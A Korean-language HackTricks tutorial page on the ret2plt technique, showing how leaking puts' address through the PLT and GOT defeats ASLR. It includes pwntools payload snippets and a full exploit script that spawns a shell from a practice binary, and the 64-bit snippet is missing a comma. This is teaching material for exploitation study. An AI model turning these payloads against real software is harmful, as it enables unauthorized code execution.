Ret2plt

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

이 기술의 목표는 PLT에서 함수의 주소를 노출하여 ASLR을 우회할 수 있도록 하는 것입니다. 예를 들어, libc에서 puts 함수의 주소를 노출하면 libc의 베이스를 계산하고 **system**과 같은 다른 함수에 액세스하기 위한 오프셋을 계산할 수 있습니다.

이는 pwntools 페이로드를 사용하여 수행할 수 있습니다 (여기에서 참조):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

puts 함수(PLT 주소를 사용)가 puts의 주소가 위치한 GOT(Global Offset Table)의 주소로 호출되는 것에 주목하세요. 이는 putsputs의 GOT 항목을 출력할 때, 이 항목은 메모리에서 puts의 정확한 주소를 포함하게 되기 때문입니다.

또한, exploit에서 main의 주소가 사용되어 puts가 실행을 마치면 바이너리가 종료되는 대신 main을 다시 호출하므로 유출된 주소가 계속 유효하게 됩니다.

이 작업이 작동하려면 바이너리가 PIE로 컴파일되어서는 안 되거나 PIE를 우회하기 위한 유출을 찾아야 합니다. 그렇지 않으면 먼저 PIE를 우회해야 합니다.

이 우회의 전체 예제를 여기에서 찾을 수 있습니다. 이것이 해당 예제의 최종 exploit이었습니다:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

다른 예시 및 참고 자료

  • 64비트, ASLR 활성화되어 있지만 PIE가 없는 경우, 첫 번째 단계는 canary의 0x00 바이트까지 오버플로우를 채워서 puts를 호출하여 릭(유출)하는 것입니다. Canary로부터 puts를 호출하여 GOT에서 puts 주소를 릭하고 system('/bin/sh')를 호출하는 ROP 가젯이 생성됩니다.

  • 64비트, ASLR 활성화되어 있지만 canary가 없는 경우, 메인 함수에서 스택 오버플로우가 발생하는 자식 함수로부터 ROP 가젯을 호출하여 GOT에서 puts 주소를 릭한 다음 one 가젯을 호출합니다.

Last updated